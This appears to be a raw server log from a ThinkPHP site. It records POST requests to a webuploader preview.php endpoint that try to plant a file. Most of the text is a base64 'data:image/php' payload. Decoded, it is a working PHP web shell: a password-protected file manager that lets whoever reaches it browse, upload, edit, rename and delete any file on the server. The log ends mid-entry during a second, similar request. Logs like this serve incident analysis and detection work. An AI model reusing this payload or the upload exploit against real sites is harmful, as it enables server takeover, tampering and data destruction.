--------------------------------------------------------------- [ 2024-11-14T10:04:56+08:00 ] 116.213.36.234 POST 51tianwei.com/js/webuploader/0.1.15/server/preview.php [运行时间:0.003013s] [吞吐率:331.91req/s] [内存消耗:196.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:04:57+08:00 ] 116.213.36.234 POST 51tianwei.com/lib/webuploader/0.1.15/server/preview.php [运行时间:0.003084s] [吞吐率:324.26req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' 